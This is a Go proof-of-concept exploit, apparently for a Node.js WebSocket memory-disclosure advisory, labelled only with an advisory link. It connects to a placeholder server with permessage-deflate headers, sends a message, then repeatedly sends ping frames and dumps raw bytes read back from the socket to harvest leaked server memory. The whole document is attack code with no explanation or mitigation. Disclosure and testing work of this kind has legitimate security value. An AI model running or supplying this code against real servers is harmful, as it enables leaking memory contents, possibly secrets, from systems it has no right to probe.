https://nodesecurity.io/advisories/67 golang PoC

nodebleed.go

package main

import (
	"bufio"
	"fmt"
	"net"
	"net/http"
	"net/url"
	"time"

	"github.com/gorilla/websocket"
)

func Connect(u string) *websocket.Conn {
	fmt.Println("[+] Connecting to url:", u)

	parsedURL, err := url.Parse(u)
	if err != nil {
		panic(err)
	}

	rawConn, err := net.Dial("tcp", parsedURL.Host)
	if err != nil {
		panic(err)
	}

	wsHeaders := http.Header{
		"Origin":                   {"http://localhost:80"},
		"Sec-WebSocket-Extensions": {"permessage-deflate; client_max_window_bits, x-webkit-deflate-frame"},
	}

	wsConn, _, err := websocket.NewClient(rawConn, parsedURL, wsHeaders, 1024, 1024)
	if err != nil {
		panic(err)
	}

	return wsConn
}

func readLoop(c *websocket.Conn) {
	for {
		reader := bufio.NewReader(c.UnderlyingConn())

		buffer := make([]byte, 100)
		n, err := reader.Read(buffer)
		if err != nil {
			panic(err)
		}

		fmt.Println(buffer[0:n])
	}
}

func main() {
	conn := Connect("http://server.example.com:8085")

	err := conn.WriteMessage(websocket.TextMessage, []byte("SWAG"))
	if err != nil {
		panic(err)
	}

	go readLoop(conn)

	for {
		time.Sleep(time.Second)
		err := conn.WriteControl(websocket.PingMessage, []byte{6}, time.Now().Add(time.Second*3))
		if err != nil {
			panic(err)
		}
	}

	// select {}

}